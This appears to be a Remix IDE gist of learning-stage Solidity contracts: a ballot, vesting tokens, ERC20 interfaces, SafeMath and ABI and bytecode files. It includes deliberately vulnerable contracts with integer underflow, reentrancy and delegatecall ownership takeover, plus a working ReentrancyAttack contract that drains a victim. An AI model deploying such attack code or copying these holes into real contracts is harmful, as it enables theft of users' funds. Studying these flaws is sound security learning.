Created
October 27, 2018 00:50
-
-
Save cdljsj/e757d1ccf6741628acd8813663fbd229 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.25+commit.59dbf8f1.js&optimize=false&gist=
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.0; | |
contract Ballot { | |
struct Voter { | |
uint weight; | |
bool voted; | |
uint8 vote; | |
address delegate; | |
} | |
struct Proposal { | |
uint voteCount; | |
} | |
address chairperson; | |
mapping(address => Voter) voters; | |
Proposal[] proposals; | |
/// Create a new ballot with $(_numProposals) different proposals. | |
function Ballot(uint8 _numProposals) public { | |
chairperson = msg.sender; | |
voters[chairperson].weight = 1; | |
proposals.length = _numProposals; | |
} | |
/// Give $(toVoter) the right to vote on this ballot. | |
/// May only be called by $(chairperson). | |
function giveRightToVote(address toVoter) public { | |
if (msg.sender != chairperson || voters[toVoter].voted) return; | |
voters[toVoter].weight = 1; | |
} | |
/// Delegate your vote to the voter $(to). | |
function delegate(address to) public { | |
Voter storage sender = voters[msg.sender]; // assigns reference | |
if (sender.voted) return; | |
while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender) | |
to = voters[to].delegate; | |
if (to == msg.sender) return; | |
sender.voted = true; | |
sender.delegate = to; | |
Voter storage delegateTo = voters[to]; | |
if (delegateTo.voted) | |
proposals[delegateTo.vote].voteCount += sender.weight; | |
else | |
delegateTo.weight += sender.weight; | |
} | |
/// Give a single vote to proposal $(toProposal). | |
function vote(uint8 toProposal) public { | |
Voter storage sender = voters[msg.sender]; | |
if (sender.voted || toProposal >= proposals.length) return; | |
sender.voted = true; | |
sender.vote = toProposal; | |
proposals[toProposal].voteCount += sender.weight; | |
} | |
function winningProposal() public constant returns (uint8 _winningProposal) { | |
uint256 winningVoteCount = 0; | |
for (uint8 prop = 0; prop < proposals.length; prop++) | |
if (proposals[prop].voteCount > winningVoteCount) { | |
winningVoteCount = proposals[prop].voteCount; | |
_winningProposal = prop; | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
import "./ERC20Basic.sol"; | |
import "./SafeMath.sol"; | |
/** | |
* @title Basic token | |
* @dev Basic version of StandardToken, with no allowances. | |
*/ | |
contract BasicToken is ERC20Basic { | |
using SafeMath for uint256; | |
mapping(address => uint256) balances; | |
uint8[] releasePercentages = [0, 0, 0, 3, 7, 12, 18, 25, 33, 42, 52, 63, 75, 88, 100]; | |
mapping(address => uint256) public lockAmount; | |
mapping(address => LockDetail[]) public lockDetails; | |
uint8 public constant decimals = 18; | |
uint256 public preSaleSupply = 10000 * 10000 * (10 ** uint256(decimals)); | |
uint256 public privateSaleSupply = 2 * 10000 * 10000 * (10 ** uint256(decimals)); | |
uint256 public currentPreSaleAmount = 0; | |
uint256 public currentPrivateSaleAmount = 0; | |
struct LockDetail { | |
uint256 amount; | |
uint256 startTime; | |
uint256 releaseAmount; | |
} | |
uint256 totalSupply_; | |
function createData() public { | |
} | |
function _deliverTokensInternal(address _beneficiary, uint256 _tokenAmount) public { | |
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount); | |
lockAmount[_beneficiary] = lockAmount[_beneficiary].add(_tokenAmount); | |
lockDetails[_beneficiary].push(LockDetail(_tokenAmount, now, 0)); | |
emit Transfer(address(0), _beneficiary, _tokenAmount); | |
} | |
function distributeLockedToken(address _beneficiary, uint256 _tokenAmount) public { | |
require(_beneficiary != address(0)); | |
require(currentPreSaleAmount.add(_tokenAmount) <= preSaleSupply); | |
_deliverTokensInternal(_beneficiary, _tokenAmount); | |
currentPreSaleAmount = currentPreSaleAmount.add(_tokenAmount); | |
} | |
function getDuration() public returns(uint256) { | |
LockDetail memory lockDetail = LockDetail(1000, now - 99 days, 0); | |
return lockDetail.amount.mul(releasePercentages[(now.sub(lockDetail.startTime)).div(30 days)]).div(100); | |
} | |
function checkTokenRelease(uint256 _value) public { | |
if (lockAmount[msg.sender] <= 0 || balances[msg.sender].sub(lockAmount[msg.sender]) >= _value) return; | |
LockDetail[] storage lockDetailElements = lockDetails[msg.sender]; | |
for (uint256 i = 0; i < lockDetailElements.length; i++) { | |
if (lockDetail.releaseAmount >= lockDetail.amount) continue; | |
LockDetail storage lockDetail = lockDetailElements[i]; | |
uint256 duration = (now - lockDetail.startTime)/30 days; | |
if (duration > 14) duration = 14; | |
if (duration < 0) duration = 0; | |
uint8 releasePercentage = releasePercentages[duration]; | |
uint256 releaseAmount = lockDetail.amount.mul(releasePercentage).div(100); | |
lockDetail.releaseAmount = releaseAmount; | |
lockAmount[msg.sender] = lockAmount[msg.sender].sub(releaseAmount); | |
} | |
require(balances[msg.sender].sub(lockAmount[msg.sender]) >= _value); | |
} | |
/** | |
* @dev total number of tokens in existence | |
*/ | |
function totalSupply() public view returns (uint256) { | |
return totalSupply_; | |
} | |
/** | |
* @dev transfer token for a specified address | |
* @param _to The address to transfer to. | |
* @param _value The amount to be transferred. | |
*/ | |
function transfer(address _to, uint256 _value) public returns (bool) { | |
require(_to != address(0)); | |
require(_value <= balances[msg.sender]); | |
// SafeMath.sub will throw if there is not enough balance. | |
balances[msg.sender] = balances[msg.sender].sub(_value); | |
balances[_to] = balances[_to].add(_value); | |
emit Transfer(msg.sender, _to, _value); | |
return true; | |
} | |
/** | |
* @dev Gets the balance of the specified address. | |
* @param _owner The address to query the the balance of. | |
* @return An uint256 representing the amount owned by the passed address. | |
*/ | |
function balanceOf(address _owner) public view returns (uint256 balance) { | |
return balances[_owner]; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.24; | |
contract Delegate { | |
address public owner; | |
constructor(address _owner) public { | |
owner = _owner; | |
} | |
function pwn() public { | |
owner = msg.sender; | |
} | |
function getNum() public pure returns (uint256) { | |
return 888; | |
} | |
} | |
contract Delegation { | |
address public owner; | |
Delegate delegate; | |
constructor(address _delegateAddress) public { | |
delegate = Delegate(_delegateAddress); | |
owner = msg.sender; | |
} | |
function getNum() public view returns (uint256) { | |
return delegate.getNum(); | |
} | |
function () public { | |
//if (delegate.delegatecall(msg.data)) | |
if (address(delegate).delegatecall(bytes4(keccak256("pwn()")))) { | |
this; | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
import './StandardToken.sol'; | |
contract DemoToken { | |
string public name = "DemoToken"; | |
string public symbol = "DET"; | |
uint8 public decimals = 18; | |
uint public INITIAL_SUPPLY = 96000000 * (10 ** uint256(decimals)); | |
string public t; | |
uint256 totalSupply_; | |
mapping(address => uint256) balances; | |
address wallet; | |
constructor() public { | |
totalSupply_ = INITIAL_SUPPLY; | |
balances[msg.sender] = INITIAL_SUPPLY; | |
} | |
function test(string str, address _test) public { | |
require(_test != wallet); | |
t = str; | |
} | |
function testArray() public view returns(uint[]) { | |
uint[] a; | |
uint[] b; | |
for (uint8 i = 0; i < 6; i++) { | |
a.push(i); | |
} | |
for (i = 0; i < 6; i++) { | |
b.push(i+100); | |
} | |
return (a); | |
} | |
function testFloat() public pure returns(uint) { | |
//require(false, "test to raise exception"); | |
return 10.5 * 10; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
import "./StandardToken.sol"; | |
contract EicToken is StandardToken { | |
string public name = "EI Coin"; | |
string public symbol = "EIC"; | |
uint8 public decimals = 18; | |
uint public INITIAL_SUPPLY = 9600000 * (10 ** uint256(decimals)); | |
constructor() public { | |
totalSupply_ = INITIAL_SUPPLY; | |
balances[msg.sender] = INITIAL_SUPPLY; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[ | |
{ | |
"anonymous": false, | |
"inputs": [ | |
{ | |
"indexed": true, | |
"name": "from", | |
"type": "address" | |
}, | |
{ | |
"indexed": true, | |
"name": "to", | |
"type": "address" | |
}, | |
{ | |
"indexed": false, | |
"name": "value", | |
"type": "uint256" | |
} | |
], | |
"name": "Transfer", | |
"type": "event" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_beneficiary", | |
"type": "address" | |
}, | |
{ | |
"name": "_tokenAmount", | |
"type": "uint256" | |
} | |
], | |
"name": "_deliverTokensInternal", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_value", | |
"type": "uint256" | |
} | |
], | |
"name": "checkTokenRelease", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "createData", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_beneficiary", | |
"type": "address" | |
}, | |
{ | |
"name": "_tokenAmount", | |
"type": "uint256" | |
} | |
], | |
"name": "distributeLockedToken", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "getDuration", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_to", | |
"type": "address" | |
}, | |
{ | |
"name": "_value", | |
"type": "uint256" | |
} | |
], | |
"name": "transfer", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "bool" | |
} | |
], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "_owner", | |
"type": "address" | |
} | |
], | |
"name": "balanceOf", | |
"outputs": [ | |
{ | |
"name": "balance", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "currentPreSaleAmount", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "currentPrivateSaleAmount", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "decimals", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint8" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lockAmount", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
}, | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"name": "lockDetails", | |
"outputs": [ | |
{ | |
"name": "amount", | |
"type": "uint256" | |
}, | |
{ | |
"name": "startTime", | |
"type": "uint256" | |
}, | |
{ | |
"name": "releaseAmount", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "preSaleSupply", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "privateSaleSupply", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "totalSupply", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
} | |
] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
import "./ERC20Basic.sol"; | |
/** | |
* @title ERC20 interface | |
* @dev see https://github.com/ethereum/EIPs/issues/20 | |
*/ | |
contract ERC20 is ERC20Basic { | |
function allowance(address owner, address spender) public view returns (uint256); | |
function transferFrom(address from, address to, uint256 value) public returns (bool); | |
function approve(address spender, uint256 value) public returns (bool); | |
event Approval(address indexed owner, address indexed spender, uint256 value); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
/** | |
* @title ERC20Basic | |
* @dev Simpler version of ERC20 interface | |
* @dev see https://github.com/ethereum/EIPs/issues/179 | |
*/ | |
contract ERC20Basic { | |
function totalSupply() public view returns (uint256); | |
function balanceOf(address who) public view returns (uint256); | |
function transfer(address to, uint256 value) public returns (bool); | |
event Transfer(address indexed from, address indexed to, uint256 value); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.25; | |
contract HealthContract { | |
struct indicator { | |
uint8 weight; | |
uint8 heartbeat; | |
bool confirmedByCustomer; | |
bool confirmedByMentor; | |
} | |
indicator targetIndicator; | |
indicator startIndicator; | |
indicator currentIndicator; | |
address public customer; | |
address public healthMentor; | |
address public fitnessEquipment; | |
string public projectName; | |
uint public price = 1 ether; | |
bool public paied; | |
bool public targetMet; | |
event indicator_record(uint8 weight, uint8 heartbeat); | |
event meet_target(uint8 weight, uint8 heartbeat); | |
modifier onlyFitnessEquipment() { | |
require(msg.sender == fitnessEquipment); | |
_; | |
} | |
modifier onlyHealthMentor() { | |
require(msg.sender == healthMentor); | |
_; | |
} | |
modifier onlyCustomer() { | |
require(msg.sender == healthMentor); | |
_; | |
} | |
constructor (string _projectName) public { | |
projectName = _projectName; | |
startIndicator.weight = 85; | |
startIndicator.heartbeat = 65; | |
} | |
function recordHealthData(uint8 _weight, uint8 _heartbeat) public onlyFitnessEquipment { | |
currentIndicator.weight = _weight; | |
currentIndicator.heartbeat = _heartbeat; | |
emit indicator_record(_weight, _heartbeat); | |
if (_weight <= targetIndicator.weight && _heartbeat <= targetIndicator.heartbeat) { | |
targetMet = true; | |
emit meet_target(targetIndicator.weight, targetIndicator.heartbeat); | |
} | |
} | |
function startProject(address _fitnessEquipment, address _healthMentor) public payable { | |
require(msg.value == price); | |
require(!paied); | |
customer = msg.sender; | |
paied = true; | |
fitnessEquipment = _fitnessEquipment; | |
healthMentor = _healthMentor; | |
startIndicator.confirmedByCustomer = true; | |
targetIndicator.confirmedByCustomer = true; | |
} | |
function confirmProject() public onlyHealthMentor { | |
require(!startIndicator.confirmedByMentor && !targetIndicator.confirmedByMentor); | |
startIndicator.confirmedByMentor = true; | |
targetIndicator.confirmedByMentor = true; | |
} | |
function confirmTargetMet() public onlyCustomer { | |
require(targetMet); | |
healthMentor.transfer(address(this).balance); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
contract OverflowToken { | |
mapping (address => uint) balances; | |
function balanceOf(address _user) public view returns (uint) { | |
return balances[_user]; | |
} | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw(uint _amount) public { | |
require(balances[msg.sender] - _amount > 0); // 存在整数溢出 | |
msg.sender.transfer(_amount); | |
balances[msg.sender] -= _amount; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
contract ReentrancyToken { | |
address public owner; | |
mapping (address => uint256) public balances; // 记录每个打币者存入的资产情况 | |
event withdrawLog(address, uint256); | |
constructor() public { | |
owner = msg.sender; | |
} | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw(address to, uint256 amount) public { | |
require(balances[msg.sender] > amount); | |
require(address(this).balance > amount); | |
emit withdrawLog(to, amount); // 打印日志,方便观察 reentrancy | |
to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部 | |
balances[msg.sender] -= amount; | |
} | |
function balanceOf() public view returns (uint256) { | |
return balances[msg.sender]; | |
} | |
function balanceOf(address addr) public view returns (uint256) { | |
return balances[addr]; | |
} | |
} | |
contract ReentrancyAttack { | |
address public owner; | |
address public victim; | |
modifier ownerOnly { | |
require(owner == msg.sender); | |
_; | |
} | |
constructor() public payable { owner = msg.sender; } | |
function setVictim(address target) public ownerOnly { | |
victim = target; | |
} | |
function step1(uint256 amount) public ownerOnly payable { | |
if (address(this).balance > amount) { | |
victim.call.value(amount)(bytes4(keccak256("deposit()"))); | |
} | |
} | |
function step2(uint256 amount) public ownerOnly { | |
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount); | |
} | |
// selfdestruct, send all balance to owner | |
function stopAttack() public ownerOnly { | |
selfdestruct(owner); | |
} | |
function startAttack(uint256 amount) public ownerOnly { | |
step1(amount); | |
step2(amount / 2); | |
} | |
function () public payable { | |
if (msg.sender == victim) { | |
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value); | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
contract ReentrancyToken { | |
address owner; | |
mapping (address => uint256) balances; // 记录每个打币者存入的资产情况 | |
event withdrawLog(address, uint256); | |
constructor() public { | |
owner = msg.sender; | |
} | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw(address to, uint256 amount) public { | |
require(balances[msg.sender] > amount); | |
require(address(this).balance > amount); | |
emit withdrawLog(to, amount); // 打印日志,方便观察 reentrancy | |
to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部 | |
balances[msg.sender] -= amount; | |
} | |
function balanceOf() public view returns (uint256) { | |
return balances[msg.sender]; | |
} | |
function balanceOf(address addr) public view returns (uint256) { | |
return balances[addr]; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
/** | |
* @title SafeMath | |
* @dev Math operations with safety checks that throw on error | |
*/ | |
library SafeMath { | |
/** | |
* @dev Multiplies two numbers, throws on overflow. | |
*/ | |
function mul(uint256 a, uint256 b) internal pure returns (uint256) { | |
if (a == 0) { | |
return 0; | |
} | |
uint256 c = a * b; | |
assert(c / a == b); | |
return c; | |
} | |
/** | |
* @dev Integer division of two numbers, truncating the quotient. | |
*/ | |
function div(uint256 a, uint256 b) internal pure returns (uint256) { | |
// assert(b > 0); // Solidity automatically throws when dividing by 0 | |
uint256 c = a / b; | |
// assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
return c; | |
} | |
/** | |
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). | |
*/ | |
function sub(uint256 a, uint256 b) internal pure returns (uint256) { | |
assert(b <= a); | |
return a - b; | |
} | |
/** | |
* @dev Adds two numbers, throws on overflow. | |
*/ | |
function add(uint256 a, uint256 b) internal pure returns (uint256) { | |
uint256 c = a + b; | |
assert(c >= a); | |
return c; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"accounts": { | |
"account{0}": "0xca35b7d915458ef540ade6068dfe2f44e8fa733c" | |
}, | |
"linkReferences": {}, | |
"transactions": [ | |
{ | |
"timestamp": 1539782773118, | |
"record": { | |
"value": "0", | |
"parameters": [], | |
"abi": "0xf490de2920c8a35fabeb13208852aa28c76f9be9b03a4dd2b3c075f7a26923b4", | |
"contractName": "BasicToken", | |
"bytecode": "6102606040526000608081815260a082905260c091909152600360e052600761010052600c61012052601261014052601961016052602161018052602a6101a05260346101c052603f6101e052604b6102005260586102205260646102405261006c90600190600f6100a7565b506a52b7d2dcc80cd2e40000006004556aa56fa5b99019a5c8000000600555600060068190556007553480156100a157600080fd5b5061016e565b82805482825590600052602060002090601f0160209004810192821561013d5791602002820160005b8382111561010e57835183826101000a81548160ff021916908360ff16021790555092602001926001016020816000010492830192600103026100d0565b801561013b5782816101000a81549060ff021916905560010160208160000104928301926001030261010e565b505b5061014992915061014d565b5090565b61016b91905b8082111561014957805460ff19168155600101610153565b90565b6108a18061017d6000396000f3006080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302693ef881146100df57806318160ddd146101065780632e055bcc1461011b578063313ce56714610130578063440b852a1461015b5780636ec2e6711461018157806370a08231146101965780637d5a50b3146101b757806395bc3bd0146101f9578063a9059cbb1461021a578063ad2e8c9b14610252578063c3cfcff214610267578063df0a327a1461027f578063e3ecf57914610294578063ef0f998b146102b8575b600080fd5b3480156100eb57600080fd5b506100f46102cd565b60408051918252519081900360200190f35b34801561011257600080fd5b506100f46102d3565b34801561012757600080fd5b506100f46102d9565b34801561013c57600080fd5b506101456102df565b6040805160ff9092168252519081900360200190f35b34801561016757600080fd5b5061017f600160a060020a03600435166024356102e4565b005b34801561018d57600080fd5b506100f46103e0565b3480156101a257600080fd5b506100f4600160a060020a03600435166103e6565b3480156101c357600080fd5b506101db600160a060020a0360043516602435610401565b60408051938452602084019290925282820152519081900360600190f35b34801561020557600080fd5b506100f4600160a060020a0360043516610442565b34801561022657600080fd5b5061023e600160a060020a0360043516602435610454565b604080519115158252519081900360200190f35b34801561025e57600080fd5b506100f4610535565b34801561027357600080fd5b5061017f6004356105cf565b34801561028b57600080fd5b5061017f610783565b3480156102a057600080fd5b5061017f600160a060020a0360043516602435610785565b3480156102c457600080fd5b506100f46107df565b60055481565b60085490565b60045481565b601281565b600160a060020a03821660009081526020819052604090205461030d908263ffffffff6107e516565b600160a060020a03831660009081526020818152604080832093909355600290522054610340908263ffffffff6107e516565b600160a060020a03831660008181526002602081815260408084209590955560038082528584208651606081018852888152428185019081528189018781528354600181810186559489528689209351950290920193845551918301919091555192019190915583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60065481565b600160a060020a031660009081526020819052604090205490565b60036020528160005260406000208181548110151561041c57fe5b600091825260209091206003909102018054600182015460029092015490935090915083565b60026020526000908152604090205481565b6000600160a060020a038316151561046b57600080fd5b3360009081526020819052604090205482111561048757600080fd5b336000908152602081905260409020546104a7908363ffffffff6107ff16565b3360009081526020819052604080822092909255600160a060020a038516815220546104d9908363ffffffff6107e516565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600061053f610853565b6060604051908101604052806103e881526020016282848042038152602001600081525090506105c9606461058d600161059962278d0061058d8760200151426107ff90919063ffffffff16565b9063ffffffff61081116565b815481106105a357fe5b600091825260209182902091810490910154855191601f166101000a900460ff16610828565b91505090565b3360009081526002602052604081205481908190819081908190811015806106225750336000908152600260209081526040808320549183905290912054889161061f919063ffffffff6107ff16565b10155b1561062c5761077a565b336000908152600360205260408120965094505b855485101561074257835460028501541061065a57610737565b858581548110151561066857fe5b9060005260206000209060030201935062278d008460010154420381151561068c57fe5b049250600e83111561069d57600e92505b60008310156106ab57600092505b60018054849081106106b957fe5b90600052602060002090602091828204019190069054906101000a900460ff1691506106fa606461058d8460ff16876000015461082890919063ffffffff16565b60028086018290553360009081526020919091526040902054909150610726908263ffffffff6107ff16565b336000908152600260205260409020555b600190940193610640565b336000908152600260209081526040808320549183905290912054889161076f919063ffffffff6107ff16565b101561077a57600080fd5b50505050505050565b565b600160a060020a038216151561079a57600080fd5b6004546006546107b0908363ffffffff6107e516565b11156107bb57600080fd5b6107c582826102e4565b6006546107d8908263ffffffff6107e516565b6006555050565b60075481565b6000828201838110156107f457fe5b8091505b5092915050565b60008282111561080b57fe5b50900390565b600080828481151561081f57fe5b04949350505050565b60008083151561083b57600091506107f8565b5082820282848281151561084b57fe5b04146107f457fe5b60606040519081016040528060008152602001600081526020016000815250905600a165627a7a723058202f67b7fdf61711959094a3be71cacedbb6745890ca7093b85539db908aead01b0029", | |
"linkReferences": {}, | |
"name": "", | |
"inputs": "()", | |
"type": "constructor", | |
"from": "account{0}" | |
} | |
} | |
], | |
"abis": { | |
"0xf490de2920c8a35fabeb13208852aa28c76f9be9b03a4dd2b3c075f7a26923b4": [ | |
{ | |
"anonymous": false, | |
"inputs": [ | |
{ | |
"indexed": true, | |
"name": "from", | |
"type": "address" | |
}, | |
{ | |
"indexed": true, | |
"name": "to", | |
"type": "address" | |
}, | |
{ | |
"indexed": false, | |
"name": "value", | |
"type": "uint256" | |
} | |
], | |
"name": "Transfer", | |
"type": "event" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_beneficiary", | |
"type": "address" | |
}, | |
{ | |
"name": "_tokenAmount", | |
"type": "uint256" | |
} | |
], | |
"name": "_deliverTokensInternal", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_value", | |
"type": "uint256" | |
} | |
], | |
"name": "checkTokenRelease", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "createData", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_beneficiary", | |
"type": "address" | |
}, | |
{ | |
"name": "_tokenAmount", | |
"type": "uint256" | |
} | |
], | |
"name": "distributeLockedToken", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "getDuration", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_to", | |
"type": "address" | |
}, | |
{ | |
"name": "_value", | |
"type": "uint256" | |
} | |
], | |
"name": "transfer", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "bool" | |
} | |
], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "_owner", | |
"type": "address" | |
} | |
], | |
"name": "balanceOf", | |
"outputs": [ | |
{ | |
"name": "balance", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "currentPreSaleAmount", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "currentPrivateSaleAmount", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "decimals", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint8" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lockAmount", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
}, | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"name": "lockDetails", | |
"outputs": [ | |
{ | |
"name": "amount", | |
"type": "uint256" | |
}, | |
{ | |
"name": "startTime", | |
"type": "uint256" | |
}, | |
{ | |
"name": "releaseAmount", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "preSaleSupply", | |
"outputs": [ | |
{ | |
"name": "", | |
